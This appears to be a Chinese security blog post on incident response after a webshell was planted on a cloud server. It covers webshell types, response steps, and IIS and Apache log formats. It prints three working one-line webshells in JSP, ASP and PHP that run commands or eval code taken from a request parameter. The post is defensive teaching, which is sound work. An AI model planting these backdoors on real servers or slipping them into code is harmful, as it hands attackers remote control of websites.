淦，服务器被人传了后门木马。。。

「作者简介」：CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」：对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》

今天很暴躁，因为睡眠被打扰了。

一个朋友大半夜打我电话，说她云服务器被人黑了，甩给我个截图。

我一看，下午六点就被打了，你大半夜才给我打电话，反射弧是不是有点忒长了。

她当时就急眼了，说找了官方客服，客服甩给她一套方案（检查端口啥的），她照着流程查了半天啥也没查到，客服就让她重置系统。

她跟客服吵了半天（估计是没吵赢），气不过，就来找了我。

我向来是个热心肠的人，赶紧远程过去把后门删了，从日志里找到传后门IP给它封掉。

这里跟大家分享一下被上传后门（webshell）的应急思路。

一、webshell是什么？

webshell是一种代码执行环境，通常以asp、php、jsp等网页文件形式存在。

黑客通常会webshell文件上传到服务器web目录下，作为后门文件，使用浏览器或专用客户端连接，从而控制网站服务器。

二、webshell分类

按照脚本类型可以分为jsp、asp、php三种。

1）jsp（Java Server Pages）常搭配Java语言，将动态的Java代码嵌入到静态的HTML页面中，文件名是 xx.jsp。

（一句话木马）代码示例：

<%Runtime.getRuntime().exec(request.getParameter("shell"));%>

2）asp（Active Server Pages）常用于小型页面应用的开发，一些古老的网站仍在使用，文件名是 xx.asp 和 xx.apsx。

（一句话木马）代码示例：

<%eval request("shell")%>

3）php（Hypertext Preprocessor）是世界上最好的语言，文件名是 xx.php。

（一句话木马）代码示例：

 @eval($_GET["shell"]); ?>

三、webshell处置流程

1）根据webshell文件的创建时间，判断攻击时间。

2）排查攻击时间前后的网站web日志，寻找攻击路径。

3）针对攻击路径的接口，排查网站存在的漏洞。

4）复现漏洞，还原攻击路径。

5）清除webshell文件，修复漏洞。

四、Web日志解析

常见的Web日志有两种：W3C日志格式 和 NCSA日志格式。

W3C日志格式主要在IIS中应用；Apache、Tomcat、Nginx等Web容器主要使用NCSA格式。这里以IIS和Apache为例，讲解一下两种日志的格式。

1、IIS日志

默认位置：%systemroot%\system32\logfiles\，
            比如：C:\WINDOWS\system32\LogFiles\W3SVC20110218

日志文件：ex+年份的末两位数字+月份+日期 .log
      比如2010年7月30日的日志：ex100730.log

默认每天一个日志。

IIS采用W3C日志格式，可按需勾选记录的字段。

日志文件内容如下图，前几行记录版本和日志创建时间。

核心字段解释（从左到右）：

• 2002-07-18 09:53:52：请求时间
• 10.152.8.17 - 10.152.8.2 80：客户端IP访问了服务器IP的80端口。
• GET：请求方式
• /index.htm：请求URL
• -:200：响应状态码
• 客户端UA信息

2、Apache日志

默认位置（Linux）：/usr/local/apache/logs
默认位置（Windows）：Apache安装目录/logs/

日志文件（Linux）：access_log、error_log
日志文件（Windows）：access.log、error_log

access记录网站访问日志，error记录服务器运行的错误日志。

访问日志通常是下面这种格式：

192.168.115.5 - - [01/Apr/2018:10:37:19 +0800] "GET / HTTP/1.1" 200 45

核心字段解释：

• 192.168.115.5：请求IP（访问网站的IP）
• -：E-mail，此处为空。
• -：登录名，此处为空。
• [01/Apr/2018:10:37:19 +0800]：请求时间
• “GET / HTTP/1.1”：请求方式和协议
• 200：响应状态码
• 45：字节数